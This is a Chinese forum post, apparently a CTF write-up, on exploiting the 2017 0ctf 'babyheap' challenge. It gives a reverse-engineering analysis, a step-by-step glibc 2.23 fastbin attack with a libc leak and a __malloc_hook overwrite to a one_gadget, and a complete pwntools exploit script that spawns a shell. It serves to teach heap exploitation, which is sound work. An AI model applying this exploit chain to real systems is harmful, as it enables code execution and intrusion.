首页
论坛
课程
招聘
[原创]Fastbin_Attack之2017 0ctf babyheap
2021-4-2 23:07 6094

[原创]Fastbin_Attack之2017 0ctf babyheap

2021-4-2 23:07
6094

2017 0ctf babyheap WriteUp

目录

 

题目链接

 

这道题是fastbin_attack经典题,也是我认为有一定难度的题,有两种解法,这里只详细记录了一种,主要知识点有

  • fastbin_attack
  • libc基地址泄露
  • __malloc_hook
  • size错位构造

一、逆向分析

检查保护措施:64位程序,保护全开

main函数

程序通过sub_B70()函数获取一段连续的存储堆分配索引表的空间

allocate函数

根据用户输入分配堆空间,地址存储到索引表中,一块索引的信息是24字节,第一个8字节记录此索引是否被使用,第二个8字节代表分配的大小,第三个8字节是分配的地址,指向chunk

 

这里分配内存使用calloc,会将内存置0

Fill函数

没有对用户输入的size过滤,存在堆溢出漏洞

Free函数和Dump函数

Free函数释放内存空间,同时将索引表中指针置0,不存在uaf漏洞

 

dump 就是输出对应索引 chunk 的内容,注意读取内容的大小实在索引表中的记录的大小,也就是一开始分配的大小,不是chunk的size字段大小

二、漏洞利用

思路:存在任意长度堆溢出,首先泄露libc基地址,通过fastbin_attack篡改一个函数指针,调用这个函数获取shell

泄露libc基地址

free掉一个chunk到bin中,通过泄露fd和bk指针获取main_arena地址计算出libc_base,fastbin_chunk单向链表只有一个指针fd指向链尾,而main_arena的地址在表头,fastbin的fd指针不会指向main_arena,需有bk指针才能指向表头,所以需要一个双向链表的结构:unsorted_bin

 

泄露条件:

  • 使用dump函数读取chunk中的fd和bk指针,读取的chunk必须已经分配

  • 分配内存时使用calloc函数,会将chunk置空,fd和bk也被置空,这与上一条矛盾,因此calloc的chunk不能与free的chunk相同,这就需要使用堆溢出欺骗内存

思路一:使用chunk_extend扩展一个堆,使其与free_chunk重叠,读取扩展的chunk获取free_chunk的fd和bk指针。 这是另一种方法,见文章解法二

 

思路二:fastbin_attack,欺骗fast_bin的指针指向同一个已经calloc的chunk,再次calloc这个内存,使得一张索引表里有两个指针指向同一个chunk,只需要将一个free掉,令一个dump读取fd和bk指针即可。注意:分配的chunk是fastbin,free的必须为unsorted_bin

Fastbin Attack

1
2
3
4
5
6
7
8
9
10
alloc(0x10) #index 0
alloc(0x10) #index 1
alloc(0x10) #indec 2
alloc(0x80) #index 3 分配unsorted_bin
 
free(2)
free(1)
#fastbin_attack
extend_0 = flat(cyclic(0x10), 0, 0x21, b'\x60')
fill(0, len(extend_0), extend_0)

申请3个chunk和1个大小不属于fastbin 的chunk,释放index1和index2

 

堆溢出之后,在fastbin中 index1_chunk的fd指针原本指向index2_chunk,改成指向index3_chunk

 

下一步将要分配fastbin中的两个chunk,第二个申请到的就是指向index3_chunk,使得索引表中index2_chunk指向index3_chunk。

 

fastbin绕过size检查:fastbin表中每一条链中chunk是固定大小,从表中malloc出一个chunk,拆卸前会检查size大小是否属于当前链中,不属于则报错。fastbin_attack时需要在拆卸前将chunk大小改为当前链的大小,绕过size检测

 

当我需要通过index2_chunk溢出到index3_chunk的size字段时,原本的index2_chunk释放之后没有分配不能写入数据,所以重新构造chunk,在index3_chunk之前多分配一个0x10的chunk,用于溢出,示意图如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
alloc(0x10) #index 0 to fastbin
alloc(0x10) #index 1 to fastbin
alloc(0x10) #index 2 to fastbin
alloc(0x10) #index 3 to fastbin <-------新增加的chunk
alloc(0x80) #index 4 to unsorted_bin
 
free(2)
free(1)
 
extend_0 = flat(cyclic(0x10), 0, 0x21, b'\x80')
fill(0, len(extend_0), extend_0)
#修改为fastbins大小,用于分配
extend_3 = flat(cyclic(0x10), 0, 0x21)
fill(3, len(extend_3), extend_3)
 
alloc(0x10)
alloc(0x10)

新分配之后index2_chunk和index4_chunk指向0x90的chunk

 

索引表已经存在两个指针指向0x90的chunk,那么到了泄露地址最后一步,free掉index4_chunk使其进入unsorted_bin,读取index2获得index4的fd和bk指针,获取main_arena的地址

 

细节:将index4_chunk大小更改回到0x91,free掉index4之前为了防止其与top_chunk合并,需要新分配一个任意大小的chunk

1
2
3
4
5
6
7
8
9
10
#修改回fastbins大小,用于释放到unsorted_bin
extend_3 = flat(cyclic(0x10), 0, 0x91)
fill(3, len(extend_3), extend_3)
#分配一个chunk防止unsorted_chunk与top_chunk合并
alloc(0x60)
free(4)
dump(2)
io.recvuntil("Content: \n")
unsorted_main_arena = u64(io.recv(8))
print(hex(unsorted_main_arena))

在64位系统中unsorted_bin在main_arena+88的位置,32位为main_arena+48

这个通过free一个0x90大小chunk到unsorted_bin中,查看fd和bk指针可以看到

 

main_arena在glibc_2.23的0x3c4b20地址:使用IDA打开glibc_2.23的malloc_trim()函数,main_arena存储在glibc_2.23的.data段

 

对照glibc_2.23源码

libc基地址

1
2
3
main_arena = 0x3c4b20
libc_base = unsorted_main_arena - (main_arena + 88)
log.success("libc base addr: " + hex(libc_base))

hook劫持

往常通过fastbin attack进行got表劫持,这里有两点限制got劫持:

  • RELRO全开,将GOT表属性设置为不可写

  • fastbin如果指向got表,为了通过size校验需要有一个合适的size字段,但是got表中难以找到

这里我们选择hook劫持:

hook是钩子函数,设计钩子函数的初衷是用于调试,基本格式大体是func_hook(*func,<参数>),在调用某函数时,如果函数的钩子存在,就会先去执行该函数的钩子函数,通过钩子函数再来回调我们当初要调用的函数,calloc函数与malloc函数的钩子都是malloc_hook

 

glibc_2.23中malloc实现

 


 

calloc中也都存在malloc_hook函数判断执行,所以调用malloc/calloc函数是都会先判断hook函数是否存在,存在则先调用malloc_hook

 

为了实现fastbin_attack,是fd指针指向__malloc_hook,需要在附近在其低地址找到合法的size段绕过安全检测,先来查看 _malloc_hook附近的布局


 

在3C4AF0到3C4B10直接寻找size字段:

 

因为在64位系统中,地址8字节只使用了低6字节,而且hook函数和_IO_wfile_jumps的偏移地址最高位0x7F,align 20h为0,可以错位构造size:0x3C4AF0为 ? ? ? ? ? 7F 00 00 而 0x3C4AF8 00 00 00 00 00,选择0x3C4AF5~0x3C4AFC:7F 00 00 00 00 00 00 00,对应需要分配的chunk大小位0x60

 

之前已经将index4_chunk 释放进unsorted_bin,再次分配0x60可以切割index4_chunk,由0x90成0x60,在free进unsorted_bin,构造0x60的unsorted_bin的链

 

index2也指向index4_chunk,通过修改index2内容将index4_chunk的 fd 指向__malloc_hook的伪造chunk地址(计算偏移),再次分配两次,一次获得index4_chunk,另一次指向 malloc_hook

1
2
3
4
5
6
7
8
9
10
11
hook_addr = libc_base + libc.sym["__malloc_hook"]
print(hex(hook_addr))
#构造0x60 unsorted_bin链
alloc(0x60)
free(4)
 
#伪造chunk,指向hook
fake_chunk = flat(hook_addr - 0x23)
fill(2, len(fake_chunk), fake_chunk)
alloc(0x60)
alloc(0x60) #获取index6指向hook地址

One_gadget

将malloc_hook篡改为onegadget,之后调用calloc即可

 

获取onegadget,依次尝试

1
2
3
4
5
6
7
8
one_gadget_addr = libc_base + 0x4527a
#篡改__malloc_hook
payload = flat(cyclic(0x13), one_gadget_addr)
fill(6, len(payload), payload)
#触发calloc
alloc(0x100)
 
io.interactive()

完整exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
context(arch="amd64", log_level="debug", os="linux")
 
io = process("./babyheap")
elf = ELF("./babyheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 
def alloc(size):
    io.sendlineafter("Command: ", "1")
    io.sendlineafter("Size: ",str(size))
 
def fill(index, size, content):
    io.sendlineafter("Command: ", "2")
    io.sendlineafter("Index: ", str(index))
    io.sendlineafter("Size: ",str(size))
    io.sendafter("Content: ", content)
 
def free(index):
    io.sendlineafter("Command: ", "3")
    io.sendlineafter("Index: ", str(index))
 
def dump(index):
    io.sendlineafter("Command: ", "4")
    io.sendlineafter("Index: ", str(index))
 
alloc(0x10) #index 0 to fastbin
alloc(0x10) #index 1 to fastbin
alloc(0x10) #index 2 to fastbin
alloc(0x10) #index 3 to fastbin <-------新增加的chunk
alloc(0x80) #index 4 to unsorted_bin
 
free(2)
free(1)
 
extend_0 = flat(cyclic(0x10), 0, 0x21, b'\x80')
fill(0, len(extend_0), extend_0)
#修改为fastbins大小,用于分配
extend_3 = flat(cyclic(0x10), 0, 0x21)
fill(3, len(extend_3), extend_3)
 
alloc(0x10)
alloc(0x10)
 
#修改回fastbins大小,用于释放到unsorted_bin
extend_3 = flat(cyclic(0x10), 0, 0x91)
fill(3, len(extend_3), extend_3)
#分配一个chunk防止unsorted_chunk与top_chunk合并
alloc(0x60)
free(4)
dump(2)
io.recvuntil("Content: \n")
unsorted_main_arena = u64(io.recv(8))
log.success("unsorted_main_arena_addr: " + hex(unsorted_main_arena))
 
main_arena = 0x3c4b20
libc_base = unsorted_main_arena - (main_arena + 88)
log.success("libc base addr: " + hex(libc_base))
 
hook_addr = libc_base + libc.sym["__malloc_hook"]
print(hex(hook_addr))
#构造0x60 unsorted_bin链
alloc(0x60)
free(4)
 
#伪造chunk,指向hook
fake_chunk = flat(hook_addr - 0x23)
fill(2, len(fake_chunk), fake_chunk)
alloc(0x60)
alloc(0x60) #获取index6指向hook地址
 
one_gadget_addr = libc_base + 0x4527a
#篡改__malloc_hook
payload = flat(cyclic(0x13), one_gadget_addr)
fill(6, len(payload), payload)
#触发calloc
alloc(0x100)
 
io.interactive()

三、解法二

按照本文的思路一:分配两个chunk,index1和index2,扩展index1到index2的fd和bk指针,释放index2,index2的fd和bk指针会指向main_arena,读取index1获取index2的内容

 

如果直接读取index1,由于读取的index1大小在分配时已经固定在索引表中,与实际的chunk size字段不匹配,需要free掉index1,然后重新分配chunk size大小,可更新索引表中的size,这个时候读取index1内容

比较解法一和解法二

  • 解法一在释放分配目标unsorted chunk的时候为了绕过fastbin和unsorted_bin需要两次更改size字段以绕过安全检查,可以将大小为fastbin更改为unsorted_bin,应该可以减少安全绕过次数

  • 解法一一直有个问题困扰我,为什么只需要更改最低位一个字节就可以将指针指向目标地址,原来:在libc2.23中,用户分配的第一个堆块就位于堆区起始地址,也就是说用户分配的第一个堆块的地址最低字节一定是00(在目前的libc版本中,堆区的起始地址最低字节都是00),这样可以计算偏移,但在libc2.26的系统中,用户分配的第一个堆块并不位于堆区的起始处!而是从堆区起始地址往后偏移了很大一段距离(可能要根据glibc版本计算偏移) 。解法一容易出现glibc版本不兼容

详细内容

四、总结:

通过此题get到的新知识

  • fastbin_attack
  • libc基地址泄露
  • __malloc_hook
  • size错位构造

参考文献

  • https://www.anquanke.com/post/id/168009
  • https://ctf-wiki.org/pwn/linux/glibc-heap/fastbin_attack

第五届安全开发者峰会(SDC 2021)10月23日上海召开!限时2.5折门票(含自助午餐1份)

最后于 2021-4-2 23:39 被mb_uvhwamsn编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 9919
活跃值: 活跃值 (11525)
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
ScUpax0s 活跃值 11 2021-4-5 09:27
2
1
支持!
游客
登录 | 注册 方可回帖
返回